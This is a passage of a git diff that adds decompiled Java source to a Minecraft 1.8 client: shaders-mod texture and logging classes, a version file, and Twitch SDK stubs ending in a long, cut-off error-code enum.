+      intBuf.put(src, size * 2, size);
+      intBuf.position(0).limit(size);
+    }
+    
+    GlStateManager.func_179144_i(spec);
+    GL11.glTexParameteri(3553, 10241, 9728);
+    GL11.glTexParameteri(3553, 10240, 9728);
+    GL11.glTexParameteri(3553, 10242, 10497);
+    GL11.glTexParameteri(3553, 10243, 10497);
+    GL11.glTexSubImage2D(3553, 0, posX, posY, width, height, 32993, 33639, intBuf);
+    GlStateManager.setActiveTexture(33984);
+  }
+  
+  public static ResourceLocation getNSMapLocation(ResourceLocation location, String mapName)
+  {
+    String basename = location.getResourcePath();
+    String[] basenameParts = basename.split(".png");
+    String basenameNoFileType = basenameParts[0];
+    return new ResourceLocation(location.getResourceDomain(), basenameNoFileType + "_" + mapName + ".png");
+  }
+  
+  public static void loadNSMap(IResourceManager manager, ResourceLocation location, int width, int height, int[] aint)
+  {
+    if (Shaders.configNormalMap)
+    {
+      loadNSMap1(manager, getNSMapLocation(location, "n"), width, height, aint, width * height, -8421377);
+    }
+    
+    if (Shaders.configSpecularMap)
+    {
+      loadNSMap1(manager, getNSMapLocation(location, "s"), width, height, aint, width * height * 2, 0);
+    }
+  }
+  
+  public static void loadNSMap1(IResourceManager manager, ResourceLocation location, int width, int height, int[] aint, int offset, int defaultColor)
+  {
+    boolean good = false;
+    
+    try
+    {
+      IResource ex = manager.getResource(location);
+      BufferedImage bufferedimage = ImageIO.read(ex.getInputStream());
+      
+      if ((bufferedimage != null) && (bufferedimage.getWidth() == width) && (bufferedimage.getHeight() == height))
+      {
+        bufferedimage.getRGB(0, 0, width, height, aint, offset, width);
+        good = true;
+      }
+    }
+    catch (IOException localIOException) {}
+    
+
+
+
+    if (!good)
+    {
+      Arrays.fill(aint, offset, offset + width * height, defaultColor);
+    }
+  }
+  
+  public static int loadSimpleTexture(int textureID, BufferedImage bufferedimage, boolean linear, boolean clamp, IResourceManager resourceManager, ResourceLocation location, MultiTexID multiTex)
+  {
+    int width = bufferedimage.getWidth();
+    int height = bufferedimage.getHeight();
+    int size = width * height;
+    int[] aint = getIntArray(size * 3);
+    bufferedimage.getRGB(0, 0, width, height, aint, 0, width);
+    loadNSMap(resourceManager, location, width, height, aint);
+    setupTexture(multiTex, aint, width, height, linear, clamp);
+    return textureID;
+  }
+  
+  public static void mergeImage(int[] aint, int dstoff, int srcoff, int size) {}
+  
+  public static int blendColor(int color1, int color2, int factor1)
+  {
+    int factor2 = 255 - factor1;
+    return ((color1 >>> 24 & 0xFF) * factor1 + (color2 >>> 24 & 0xFF) * factor2) / 255 << 24 | ((color1 >>> 16 & 0xFF) * factor1 + (color2 >>> 16 & 0xFF) * factor2) / 255 << 16 | ((color1 >>> 8 & 0xFF) * factor1 + (color2 >>> 8 & 0xFF) * factor2) / 255 << 8 | ((color1 >>> 0 & 0xFF) * factor1 + (color2 >>> 0 & 0xFF) * factor2) / 255 << 0;
+  }
+  
+  public static void loadLayeredTexture(LayeredTexture tex, IResourceManager manager, List list)
+  {
+    int width = 0;
+    int height = 0;
+    int size = 0;
+    int[] image = null;
+    Iterator iterator = list.iterator();
+    
+    while (iterator.hasNext())
+    {
+      String s = (String)iterator.next();
+      
+      if (s != null)
+      {
+        try
+        {
+          ResourceLocation ex = new ResourceLocation(s);
+          InputStream inputstream = manager.getResource(ex).getInputStream();
+          BufferedImage bufimg = ImageIO.read(inputstream);
+          
+          if (size == 0)
+          {
+            width = bufimg.getWidth();
+            height = bufimg.getHeight();
+            size = width * height;
+            image = createAIntImage(size, 0);
+          }
+          
+          int[] aint = getIntArray(size * 3);
+          bufimg.getRGB(0, 0, width, height, aint, 0, width);
+          loadNSMap(manager, ex, width, height, aint);
+          
+          for (int i = 0; i < size; i++)
+          {
+            int alpha = aint[i] >>> 24 & 0xFF;
+            image[(size * 0 + i)] = blendColor(aint[(size * 0 + i)], image[(size * 0 + i)], alpha);
+            image[(size * 1 + i)] = blendColor(aint[(size * 1 + i)], image[(size * 1 + i)], alpha);
+            image[(size * 2 + i)] = blendColor(aint[(size * 2 + i)], image[(size * 2 + i)], alpha);
+          }
+        }
+        catch (IOException var15)
+        {
+          var15.printStackTrace();
+        }
+      }
+    }
+    
+    setupTexture(tex.getMultiTexID(), image, width, height, false, false);
+  }
+  
+  static void updateTextureMinMagFilter()
+  {
+    TextureManager texman = Minecraft.getMinecraft().getTextureManager();
+    ITextureObject texObj = texman.getTexture(TextureMap.locationBlocksTexture);
+    
+    if (texObj != null)
+    {
+      MultiTexID multiTex = texObj.getMultiTexID();
+      GlStateManager.func_179144_i(base);
+      GL11.glTexParameteri(3553, 10241, Shaders.texMinFilValue[Shaders.configTexMinFilB]);
+      GL11.glTexParameteri(3553, 10240, Shaders.texMagFilValue[Shaders.configTexMagFilB]);
+      GlStateManager.func_179144_i(norm);
+      GL11.glTexParameteri(3553, 10241, Shaders.texMinFilValue[Shaders.configTexMinFilN]);
+      GL11.glTexParameteri(3553, 10240, Shaders.texMagFilValue[Shaders.configTexMagFilN]);
+      GlStateManager.func_179144_i(spec);
+      GL11.glTexParameteri(3553, 10241, Shaders.texMinFilValue[Shaders.configTexMinFilS]);
+      GL11.glTexParameteri(3553, 10240, Shaders.texMagFilValue[Shaders.configTexMagFilS]);
+      GlStateManager.func_179144_i(0);
+    }
+  }
+  
+  public static IResource loadResource(IResourceManager manager, ResourceLocation location) throws IOException
+  {
+    resManager = manager;
+    resLocation = location;
+    return manager.getResource(location);
+  }
+  
+  public static int[] loadAtlasSprite(BufferedImage bufferedimage, int startX, int startY, int w, int h, int[] aint, int offset, int scansize)
+  {
+    imageSize = w * h;
+    bufferedimage.getRGB(startX, startY, w, h, aint, offset, scansize);
+    loadNSMap(resManager, resLocation, w, h, aint);
+    return aint;
+  }
+  
+  public static int[][] getFrameTexData(int[][] src, int width, int height, int frameIndex)
+  {
+    int numLevel = src.length;
+    int[][] dst = new int[numLevel][];
+    
+    for (int level = 0; level < numLevel; level++)
+    {
+      int[] sr1 = src[level];
+      
+      if (sr1 != null)
+      {
+        int frameSize = (width >> level) * (height >> level);
+        int[] ds1 = new int[frameSize * 3];
+        dst[level] = ds1;
+        int srcSize = sr1.length / 3;
+        int srcPos = frameSize * frameIndex;
+        byte dstPos = 0;
+        System.arraycopy(sr1, srcPos, ds1, dstPos, frameSize);
+        srcPos += srcSize;
+        int var13 = dstPos + frameSize;
+        System.arraycopy(sr1, srcPos, ds1, var13, frameSize);
+        srcPos += srcSize;
+        var13 += frameSize;
+        System.arraycopy(sr1, srcPos, ds1, var13, frameSize);
+      }
+    }
+    
+    return dst;
+  }
+  
+  public static int[][] prepareAF(TextureAtlasSprite tas, int[][] src, int width, int height)
+  {
+    boolean skip = true;
+    return src;
+  }
+  
+  public static void fixTransparentColor(TextureAtlasSprite tas, int[] aint) {}
+}
diff --git a/src/minecraft/shadersmod/common/SMCLog.java b/src/minecraft/shadersmod/common/SMCLog.java
new file mode 100644
index 0000000..9b0f1d6
--- /dev/null
+++ b/src/minecraft/shadersmod/common/SMCLog.java
@@ -0,0 +1,225 @@
+package shadersmod.common;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.logging.ConsoleHandler;
+import java.util.logging.Formatter;
+import java.util.logging.Level;
+import java.util.logging.LogRecord;
+import java.util.logging.Logger;
+import java.util.logging.StreamHandler;
+
+public abstract class SMCLog
+{
+  public static final String smcLogName = "SMC";
+  public static final Logger logger = new SMCLogger("SMC");
+  public static final Level SMCINFO = new SMCLevel("INF", 850, null);
+  public static final Level SMCCONFIG = new SMCLevel("CFG", 840, null);
+  public static final Level SMCFINE = new SMCLevel("FNE", 830, null);
+  public static final Level SMCFINER = new SMCLevel("FNR", 820, null);
+  public static final Level SMCFINEST = new SMCLevel("FNT", 810, null);
+  
+  public SMCLog() {}
+  
+  public static void log(Level level, String message) { if (logger.isLoggable(level))
+    {
+      logger.log(level, message);
+    }
+  }
+  
+  public static void severe(String message)
+  {
+    if (logger.isLoggable(Level.SEVERE))
+    {
+      logger.log(Level.SEVERE, message);
+    }
+  }
+  
+  public static void warning(String message)
+  {
+    if (logger.isLoggable(Level.WARNING))
+    {
+      logger.log(Level.WARNING, message);
+    }
+  }
+  
+  public static void info(String message)
+  {
+    if (logger.isLoggable(SMCINFO))
+    {
+      logger.log(SMCINFO, message);
+    }
+  }
+  
+  public static void config(String message)
+  {
+    if (logger.isLoggable(SMCCONFIG))
+    {
+      logger.log(SMCCONFIG, message);
+    }
+  }
+  
+  public static void fine(String message)
+  {
+    if (logger.isLoggable(SMCFINE))
+    {
+      logger.log(SMCFINE, message);
+    }
+  }
+  
+  public static void finer(String message)
+  {
+    if (logger.isLoggable(SMCFINER))
+    {
+      logger.log(SMCFINER, message);
+    }
+  }
+  
+  public static void finest(String message)
+  {
+    if (logger.isLoggable(SMCFINEST))
+    {
+      logger.log(SMCFINEST, message);
+    }
+  }
+  
+  public static void log(Level level, String format, Object... args)
+  {
+    if (logger.isLoggable(level))
+    {
+      logger.log(level, String.format(format, args));
+    }
+  }
+  
+  public static void severe(String format, Object... args)
+  {
+    if (logger.isLoggable(Level.SEVERE))
+    {
+      logger.log(Level.SEVERE, String.format(format, args));
+    }
+  }
+  
+  public static void warning(String format, Object... args)
+  {
+    if (logger.isLoggable(Level.WARNING))
+    {
+      logger.log(Level.WARNING, String.format(format, args));
+    }
+  }
+  
+  public static void info(String format, Object... args)
+  {
+    if (logger.isLoggable(SMCINFO))
+    {
+      logger.log(SMCINFO, String.format(format, args));
+    }
+  }
+  
+  public static void config(String format, Object... args)
+  {
+    if (logger.isLoggable(SMCCONFIG))
+    {
+      logger.log(SMCCONFIG, String.format(format, args));
+    }
+  }
+  
+  public static void fine(String format, Object... args)
+  {
+    if (logger.isLoggable(SMCFINE))
+    {
+      logger.log(SMCFINE, String.format(format, args));
+    }
+  }
+  
+  public static void finer(String format, Object... args)
+  {
+    if (logger.isLoggable(SMCFINER))
+    {
+      logger.log(SMCFINER, String.format(format, args));
+    }
+  }
+  
+  public static void finest(String format, Object... args)
+  {
+    if (logger.isLoggable(SMCFINEST))
+    {
+      logger.log(SMCFINEST, String.format(format, args));
+    }
+  }
+  
+  static class NamelessClass763038833
+  {
+    NamelessClass763038833() {}
+  }
+  
+  private static class SMCFormatter extends Formatter {
+    int tzOffset = java.util.Calendar.getInstance().getTimeZone().getRawOffset();
+    
+    private SMCFormatter() {}
+    
+    public String format(LogRecord record) { StringBuilder sb = new StringBuilder();
+      sb.append("[");
+      sb.append("Shaders").append("]");
+      
+      if (record.getLevel() != SMCLog.SMCINFO)
+      {
+        sb.append("[").append(record.getLevel()).append("]");
+      }
+      
+      sb.append(" ");
+      sb.append(record.getMessage()).append("\n");
+      return sb.toString();
+    }
+  }
+  
+  private static class SMCLevel extends Level
+  {
+    private SMCLevel(String name, int value)
+    {
+      super(value);
+    }
+    
+    SMCLevel(String x0, int x1, SMCLog.NamelessClass763038833 x2)
+    {
+      this(x0, x1);
+    }
+  }
+  
+  private static class SMCLogger extends Logger
+  {
+    SMCLogger(String name)
+    {
+      super(null);
+      setUseParentHandlers(false);
+      SMCLog.SMCFormatter formatter = new SMCLog.SMCFormatter(null);
+      ConsoleHandler handler = new ConsoleHandler();
+      handler.setFormatter(formatter);
+      handler.setLevel(Level.ALL);
+      addHandler(handler);
+      
+      try
+      {
+        FileOutputStream e = new FileOutputStream("logs/shadersmod.log", false);
+        StreamHandler handler1 = new StreamHandler(e, formatter)
+        {
+
+          public synchronized void publish(LogRecord record)
+          {
+            super.publish(record);
+            flush();
+          }
+        };
+        handler1.setFormatter(formatter);
+        handler1.setLevel(Level.ALL);
+        addHandler(handler1);
+      }
+      catch (IOException var5)
+      {
+        var5.printStackTrace();
+      }
+      
+      setLevel(Level.ALL);
+    }
+  }
+}
diff --git a/src/minecraft/shadersmod/common/SMCVersion.java b/src/minecraft/shadersmod/common/SMCVersion.java
new file mode 100644
index 0000000..6b0d818
--- /dev/null
+++ b/src/minecraft/shadersmod/common/SMCVersion.java
@@ -0,0 +1,11 @@
+package shadersmod.common;
+
+public class SMCVersion
+{
+  public static final String mcVersion = "1.8";
+  public static final String versionString = "2.4.12";
+  public static final int versionNumber = 132108;
+  public static final int buildNumber = 83;
+  
+  public SMCVersion() {}
+}
diff --git a/src/minecraft/tv/twitch/AuthToken.java b/src/minecraft/tv/twitch/AuthToken.java
new file mode 100644
index 0000000..d245a09
--- /dev/null
+++ b/src/minecraft/tv/twitch/AuthToken.java
@@ -0,0 +1,15 @@
+package tv.twitch;
+
+
+public class AuthToken
+{
+  public String data;
+  
+
+  public AuthToken() {}
+  
+  public boolean getIsValid()
+  {
+    return (data != null) && (data.length() > 0);
+  }
+}
diff --git a/src/minecraft/tv/twitch/Core.java b/src/minecraft/tv/twitch/Core.java
new file mode 100644
index 0000000..6bb0935
--- /dev/null
+++ b/src/minecraft/tv/twitch/Core.java
@@ -0,0 +1,112 @@
+package tv.twitch;
+
+
+
+
+public class Core
+{
+  private static Core s_Instance = null;
+  
+  public static Core getInstance()
+  {
+    return s_Instance;
+  }
+  
+
+
+
+  private CoreAPI m_CoreAPI = null;
+  private String m_ClientId = null;
+  private int m_NumInitializations = 0;
+  
+  public Core(CoreAPI paramCoreAPI)
+  {
+    m_CoreAPI = paramCoreAPI;
+    
+    if (s_Instance == null)
+    {
+      s_Instance = this;
+    }
+  }
+  
+  public boolean getIsInitialized()
+  {
+    return m_NumInitializations > 0;
+  }
+  
+  public ErrorCode initialize(String paramString1, String paramString2)
+  {
+    if (m_NumInitializations == 0)
+    {
+      m_ClientId = paramString1;
+
+
+    }
+    else if (paramString1 != m_ClientId)
+    {
+      return ErrorCode.TTV_EC_INVALID_CLIENTID;
+    }
+    
+
+    m_NumInitializations += 1;
+    
+
+    if (m_NumInitializations > 1)
+    {
+      return ErrorCode.TTV_EC_SUCCESS;
+    }
+    
+    ErrorCode localErrorCode = m_CoreAPI.init(paramString1, paramString2);
+    
+    if (ErrorCode.failed(localErrorCode))
+    {
+      m_NumInitializations -= 1;
+      m_ClientId = null;
+    }
+    
+    return localErrorCode;
+  }
+  
+  public ErrorCode shutdown()
+  {
+    if (m_NumInitializations == 0)
+    {
+      return ErrorCode.TTV_EC_NOT_INITIALIZED;
+    }
+    
+    m_NumInitializations -= 1;
+    
+    ErrorCode localErrorCode = ErrorCode.TTV_EC_SUCCESS;
+    
+    if (m_NumInitializations == 0)
+    {
+      localErrorCode = m_CoreAPI.shutdown();
+      
+      if (ErrorCode.failed(localErrorCode))
+      {
+        m_NumInitializations += 1;
+
+
+      }
+      else if (s_Instance == this)
+      {
+        s_Instance = null;
+      }
+    }
+    
+
+    return localErrorCode;
+  }
+  
+  public ErrorCode setTraceLevel(MessageLevel paramMessageLevel)
+  {
+    ErrorCode localErrorCode = m_CoreAPI.setTraceLevel(paramMessageLevel);
+    return localErrorCode;
+  }
+  
+  public String errorToString(ErrorCode paramErrorCode)
+  {
+    String str = m_CoreAPI.errorToString(paramErrorCode);
+    return str;
+  }
+}
diff --git a/src/minecraft/tv/twitch/CoreAPI.java b/src/minecraft/tv/twitch/CoreAPI.java
new file mode 100644
index 0000000..50c198f
--- /dev/null
+++ b/src/minecraft/tv/twitch/CoreAPI.java
@@ -0,0 +1,16 @@
+package tv.twitch;
+
+public abstract class CoreAPI
+{
+  public CoreAPI() {}
+  
+  public abstract ErrorCode init(String paramString1, String paramString2);
+  
+  public abstract ErrorCode shutdown();
+  
+  public abstract ErrorCode setTraceLevel(MessageLevel paramMessageLevel);
+  
+  public abstract ErrorCode setTraceOutput(String paramString);
+  
+  public abstract String errorToString(ErrorCode paramErrorCode);
+}
diff --git a/src/minecraft/tv/twitch/ErrorCode.java b/src/minecraft/tv/twitch/ErrorCode.java
new file mode 100644
index 0000000..798b4bc
--- /dev/null
+++ b/src/minecraft/tv/twitch/ErrorCode.java
@@ -0,0 +1,302 @@
+package tv.twitch;
+
+import java.util.Map;
+
+public enum ErrorCode
+{
+  TTV_EC_SUCCESS(0), 
+  TTV_EC_UNKNOWN_ERROR(1), 
+  TTV_EC_CANNOT_OPEN_FILE(2), 
+  TTV_EC_ALREADY_INITIALIZED(3), 
+  TTV_EC_CANNOT_WRITE_TO_FILE(4), 
+  TTV_EC_CANNOT_CREATE_MUTEX(5), 
+  TTV_EC_CANNOT_DESTROY_MUTEX(6), 
+  TTV_EC_COULD_NOT_TAKE_MUTEX(7), 
+  TTV_EC_COULD_NOT_RELEASE_MUTEX(8), 
+  TTV_EC_INVALID_MUTEX(9), 
+  TTV_EC_WAIT_TIMED_OUT(10), 
+  TTV_EC_INVALID_ARG(11), 
+  TTV_EC_NOT_INITIALIZED(12), 
+  TTV_EC_AUTHENTICATION(13), 
+  TTV_EC_INVALID_AUTHTOKEN(14), 
+  TTV_EC_MEMORY(15), 
+  TTV_EC_ALIGN16_REQUIRED(16), 
+  TTV_EC_UNSUPPORTED_INPUT_FORMAT(17), 
+  TTV_EC_UNSUPPORTED_OUTPUT_FORMAT(18), 
+  TTV_EC_INVALID_RESOLUTION(19), 
+  TTV_EC_INVALID_FPS(20), 
+  TTV_EC_INVALID_BITRATE(21), 
+  TTV_EC_FAILED_TO_INIT_SPEAKER_CAPTURE(22), 
+  TTV_EC_FRAME_QUEUE_FULL(23), 
+  TTV_EC_HTTPREQUEST_ERROR(24), 
+  TTV_EC_INVALID_CLIENTID(25), 
+  TTV_EC_INVALID_CHANNEL_NAME(26), 
+  TTV_EC_API_REQUEST_FAILED(27), 
+  TTV_EC_API_REQUEST_TIMEDOUT(28), 
+  TTV_EC_INVALID_HTTP_REQUEST_PARAMS(29), 
+  TTV_EC_COINITIALIZE_FAIED(30), 
+  TTV_EC_WEBAPI_RESULT_INVALID_JSON(31), 
+  TTV_EC_WEBAPI_RESULT_NO_AUTHTOKEN(32), 
+  TTV_EC_WEBAPI_RESULT_NO_STREAMKEY(33), 
+  TTV_EC_WEBAPI_RESULT_NO_CHANNELNAME(34), 
+  TTV_EC_WEBAPI_RESULT_NO_INGESTS(35), 
+  TTV_EC_WEBAPI_RESULT_NO_RECORDING_STATUS(36), 
+  TTV_EC_WEBAPI_RESULT_NO_STREAMINFO(37), 
+  TTV_EC_WEBAPI_RESULT_INVALID_VIEWERS(38), 
+  TTV_EC_WEBAPI_RESULT_NO_USERNAME(39), 
+  TTV_EC_WEBAPI_RESULT_NO_USER_DISPLAY_NAME(40), 
+  TTV_EC_NO_STREAM_KEY(41), 
+  TTV_EC_NEED_TO_LOGIN(42), 
+  TTV_EC_INVALID_VIDEOFRAME(43), 
+  TTV_EC_INVALID_BUFFER(44), 
+  TTV_EC_INVALID_CALLBACK(45), 
+  TTV_EC_INVALID_JSON(46), 
+  TTV_EC_NO_SPSPPS(47), 
+  TTV_EC_NO_D3D_SUPPORT(48), 
+  TTV_EC_NO_INGEST_SERVER_AVAILABLE(49), 
+  TTV_EC_INVALID_INGEST_SERVER(50), 
+  TTV_EC_CANNOT_SUSPEND_THREADSYNC(51), 
+  TTV_EC_CANNOT_SIGNAL_THREADSYNC(52), 
+  TTV_EC_INVALID_ENCODER(53), 
+  TTV_EC_AUDIO_DEVICE_INIT_FAILED(54), 
+  TTV_EC_AUDIO_BUFFER_TOO_BIG(55), 
+  TTV_EC_AUDIO_PASSTHROUGH_NOT_ENABLED(56), 
+  TTV_EC_INVALID_SAMPLERATE(57), 
+  TTV_EC_X264_INVALID_PRESET(58), 
+  TTV_EC_X264_INVALID_PROFILE(59), 
+  TTV_EC_FLV_UNABLE_TO_OPEN_FILE(60), 
+  TTV_EC_FLV_FILE_NOT_OPEN(61), 
+  TTV_EC_FLV_UNSUPPORTED_AUDIO_RATE(62), 
+  TTV_EC_FLV_UNSUPPORTED_AUDIO_CODEC(63), 
+  TTV_EC_RTMP_REJECTED(64), 
+  TTV_EC_RTMP_WRONG_PROTOCOL_IN_URL(65), 
+  TTV_EC_RTMP_UNABLE_TO_SEND_DATA(66), 
+  TTV_EC_RTMP_INVALID_FLV_PACKET(67), 
+  TTV_EC_RTMP_TIMEOUT(68), 
+  TTV_EC_MAC_INPUT_Q_SETUP_FAILED(69), 
+  TTV_EC_MAC_INPUT_Q_BUFFER_SETUP_FAILED(70), 
+  TTV_EC_MAC_INPUT_Q_START_FAILED(71), 
+  TTV_EC_INTEL_FAILED_SESSION_INIT(72), 
+  TTV_EC_INTEL_FAILED_VPP_INIT(73), 
+  TTV_EC_INTEL_FAILED_ENCODER_INIT(74), 
+  TTV_EC_INTEL_FAILED_SURFACE_ALLOCATION(75), 
+  TTV_EC_INTEL_FAILED_TASKPOLL_INIT(76), 
+  TTV_EC_INTEL_NO_FREE_TASK(77), 
+  TTV_EC_INTEL_NO_FREE_SURFACE(78), 
+  TTV_EC_APPLEENCODER_FAILED_START(79), 
+  TTV_EC_APPLEENCODER_FAILED_FRAME_SUBMISSION(80), 
+  TTV_EC_LAMEMP3_FAILED_INIT(81), 
+  TTV_EC_LAMEMP3_FAILED_SHUTDOWN(82), 
+  TTV_EC_APPLEAAC_FAILED_INIT(83), 
+  TTV_EC_APPLEAAC_FAILED_ENCODING(84), 
+  TTV_EC_APPLEAAC_FAILED_SHUTDOWN(85), 
+  TTV_EC_REQUEST_PENDING(86), 
+  TTV_EC_WSASTARTUP_FAILED(87), 
+  TTV_EC_WSACLEANUP_FAILED(88), 
+  TTV_EC_SOCKET_GETADDRINFO_FAILED(89), 
+  TTV_EC_SOCKET_CREATE_FAILED(90), 
+  TTV_EC_SOCKET_CONNECT_FAILED(91), 
+  TTV_EC_SOCKET_SEND_ERROR(92), 
+  TTV_EC_SOCKET_RECV_ERROR(93), 
+  TTV_EC_SOCKET_IOCTL_ERROR(94), 
+  TTV_EC_OS_TOO_OLD(95), 
+  TTV_EC_SOCKET_ERR(1000), 
+  TTV_EC_SOCKET_EINTR(1004), 
+  TTV_EC_SOCKET_EBADF(1009), 
+  TTV_EC_SOCKET_EACCES(1013), 
+  TTV_EC_SOCKET_EFAULT(1014), 
+  TTV_EC_SOCKET_EINVAL(1022), 
+  TTV_EC_SOCKET_EMFILE(1024), 
+  TTV_EC_SOCKET_EWOULDBLOCK(1035), 
+  TTV_EC_SOCKET_EINPROGRESS(1036), 
+  TTV_EC_SOCKET_EALREADY(1037), 
+  TTV_EC_SOCKET_ENOTSOCK(1038), 
+  TTV_EC_SOCKET_EDESTADDRREQ(1039), 
+  TTV_EC_SOCKET_EMSGSIZE(1040), 
+  TTV_EC_SOCKET_EPROTOTYPE(1041), 
+  TTV_EC_SOCKET_ENOPROTOOPT(1042), 
+  TTV_EC_SOCKET_EPROTONOSUPPORT(1043), 
+  TTV_EC_SOCKET_ESOCKTNOSUPPORT(1044), 
+  TTV_EC_SOCKET_EOPNOTSUPP(1045), 
+  TTV_EC_SOCKET_EPFNOSUPPORT(1046), 
+  TTV_EC_SOCKET_EAFNOSUPPORT(1047), 
+  TTV_EC_SOCKET_EADDRINUSE(1048), 
+  TTV_EC_SOCKET_EADDRNOTAVAIL(1049), 
+  TTV_EC_SOCKET_ENETDOWN(1050), 
+  TTV_EC_SOCKET_ENETUNREACH(1051), 
+  TTV_EC_SOCKET_ENETRESET(1052), 
+  TTV_EC_SOCKET_ECONNABORTED(1053), 
+  TTV_EC_SOCKET_ECONNRESET(1054), 
+  TTV_EC_SOCKET_ENOBUFS(1055), 
+  TTV_EC_SOCKET_EISCONN(1056), 
+  TTV_EC_SOCKET_ENOTCONN(1057), 
+  TTV_EC_SOCKET_ESHUTDOWN(1058), 
+  TTV_EC_SOCKET_ETOOMANYREFS(1059), 
+  TTV_EC_SOCKET_ETIMEDOUT(1060), 
+  TTV_EC_SOCKET_ECONNREFUSED(1061), 
+  TTV_EC_SOCKET_ELOOP(1062), 
+  TTV_EC_SOCKET_ENAMETOOLONG(1063), 
+  TTV_EC_SOCKET_EHOSTDOWN(1064), 
+  TTV_EC_SOCKET_EHOSTUNREACH(1065), 
+  TTV_EC_SOCKET_ENOTEMPTY(1066), 
+  TTV_EC_SOCKET_EPROCLIM(1067), 
+  TTV_EC_SOCKET_EUSERS(1068), 
+  TTV_EC_SOCKET_EDQUOT(1069), 
+  TTV_EC_SOCKET_ESTALE(1070), 
+  TTV_EC_SOCKET_EREMOTE(1071), 
+  TTV_EC_SOCKET_SYSNOTREADY(1091), 
+  TTV_EC_SOCKET_VERNOTSUPPORTED(1092), 
+  TTV_EC_SOCKET_NOTINITIALISED(1093), 
+  TTV_EC_SOCKET_EDISCON(1101), 
+  TTV_EC_SOCKET_ENOMORE(1102), 
+  TTV_EC_SOCKET_ECANCELLED(1103), 
+  TTV_EC_SOCKET_EINVALIDPROCTABLE(1104), 
+  TTV_EC_SOCKET_EINVALIDPROVIDER(1105), 
+  TTV_EC_SOCKET_EPROVIDERFAILEDINIT(1106), 
+  TTV_EC_SOCKET_SYSCALLFAILURE(1107), 
+  TTV_EC_SOCKET_SERVICE_NOT_FOUND(1108), 
+  TTV_EC_SOCKET_TYPE_NOT_FOUND(1109), 
+  TTV_EC_SOCKET_E_NO_MORE(1110), 
+  TTV_EC_SOCKET_E_CANCELLED(1111), 
+  TTV_EC_SOCKET_EREFUSED(1112), 
+  TTV_EC_SOCKET_HOST_NOT_FOUND(2001), 
+  TTV_EC_SOCKET_TRY_AGAIN(2002), 
+  TTV_EC_SOCKET_NO_RECOVERY(2003), 
+  TTV_EC_SOCKET_NO_DATA(2004), 
+  TTV_EC_SOCKET_QOS_RECEIVERS(2005), 
+  TTV_EC_SOCKET_QOS_SENDERS(2006), 
+  TTV_EC_SOCKET_QOS_NO_SENDERS(2007), 
+  TTV_EC_SOCKET_QOS_NO_RECEIVERS(2008), 
+  TTV_EC_SOCKET_QOS_REQUEST_CONFIRMED(2009), 
+  TTV_EC_SOCKET_QOS_ADMISSION_FAILURE(2010), 
+  TTV_EC_SOCKET_QOS_POLICY_FAILURE(2011), 
+  TTV_EC_SOCKET_QOS_BAD_STYLE(2012), 
+  TTV_EC_SOCKET_QOS_BAD_OBJECT(2013), 
+  TTV_EC_SOCKET_QOS_TRAFFIC_CTRL_ERROR(2014), 
+  TTV_EC_SOCKET_QOS_GENERIC_ERROR(2015), 
+  TTV_EC_SOCKET_QOS_ESERVICETYPE(2016), 
+  TTV_EC_SOCKET_QOS_EFLOWSPEC(2017), 
+  TTV_EC_SOCKET_QOS_EPROVSPECBUF(2018), 
+  TTV_EC_SOCKET_QOS_EFILTERSTYLE(2019), 
+  TTV_EC_SOCKET_QOS_EFILTERTYPE(2020), 
+  TTV_EC_SOCKET_QOS_EFILTERCOUNT(2021), 
+  TTV_EC_SOCKET_QOS_EOBJLENGTH(2022), 
+  TTV_EC_SOCKET_QOS_EFLOWCOUNT(2023), 
+  TTV_EC_SOCKET_QOS_EUNKOWNPSOBJ(2024), 
+  TTV_EC_SOCKET_QOS_EPOLICYOBJ(2025), 
+  TTV_EC_SOCKET_QOS_EFLOWDESC(2026), 
+  TTV_EC_SOCKET_QOS_EPSFLOWSPEC(2027), 
+  TTV_EC_SOCKET_QOS_EPSFILTERSPEC(2028), 
+  TTV_EC_SOCKET_QOS_ESDMODEOBJ(2029), 
+  TTV_EC_SOCKET_QOS_ESHAPERATEOBJ(2030), 
+  TTV_EC_SOCKET_QOS_RESERVED_PETYPE(2031), 
+  TTV_EC_SOCKET_SECURE_HOST_NOT_FOUND(2032), 
+  TTV_EC_SOCKET_IPSEC_NAME_POLICY_ERROR(2033), 
+  TTV_EC_SOCKET_END(2034), 
+  TTV_EC_CHAT_NOT_INITIALIZED(2035), 
+  TTV_EC_CHAT_ALREADY_INITIALIZED(2036), 
+  TTV_EC_CHAT_ALREADY_IN_CHANNEL(2037), 
+  TTV_EC_CHAT_INVALID_LOGIN(2038), 
+  TTV_EC_CHAT_INVALID_CHANNEL(2039), 
+  TTV_EC_CHAT_LOST_CONNECTION(2040), 
+  TTV_EC_CHAT_COULD_NOT_CONNECT(2041), 
+  TTV_EC_CHAT_NOT_IN_CHANNEL(2042), 
+  TTV_EC_CHAT_INVALID_MESSAGE(2043), 
+  TTV_EC_CHAT_TOO_MANY_REQUESTS(2044), 
+  TTV_EC_CHAT_LEAVING_CHANNEL(2045), 
+  TTV_EC_CHAT_SHUTTING_DOWN(2046), 
+  TTV_EC_CHAT_ANON_DENIED(2047), 
+  TTV_EC_CHAT_EMOTICON_DATA_NOT_READY(2048), 
+  TTV_EC_CHAT_EMOTICON_DATA_DOWNLOADING(2049), 
+  TTV_EC_CHAT_EMOTICON_DATA_LOCKED(2050), 
+  TTV_EC_CHAT_EMOTICON_DOWNLOAD_FAILED(2051), 
+  TTV_EC_WEBCAM_NO_PLATFORM_SUPPORT(2052), 
+  TTV_EC_WEBCAM_COULD_NOT_COMPLETE(2053), 
+  TTV_EC_WEBCAM_OUT_OF_MEMORY(2054), 
+  TTV_EC_WEBCAM_UNKNOWN_ERROR(2055), 
+  TTV_EC_WEBCAM_INVALID_PARAMETER(2056), 
+  TTV_EC_WEBCAM_INVALID_CAPABILITY(2057), 
+  TTV_EC_WEBCAM_BUFFER_NOT_BIG_ENOUGH(2058), 
+  TTV_EC_WEBCAM_DEVICE_NOT_STARTED(2059), 
+  TTV_EC_WEBCAM_DEVICE_ALREADY_STARTED(2060), 
+  TTV_EC_WEBCAM_DEVICE_NOT_FOUND(2061), 
+  TTV_EC_WEBCAM_FRAME_NOT_AVAILABLE(2062), 
+  TTV_EC_WEBCAM_NOT_INITIALIZED(2063), 
+  TTV_EC_WEBCAM_FAILED_TO_START(2064), 
+  TTV_EC_WEBCAM_LEFT_IN_UNSAFE_STATE(2065), 
+  TTV_EC_WEBCAM_UNSUPPORTED_SOURCE_FORMAT(2066), 
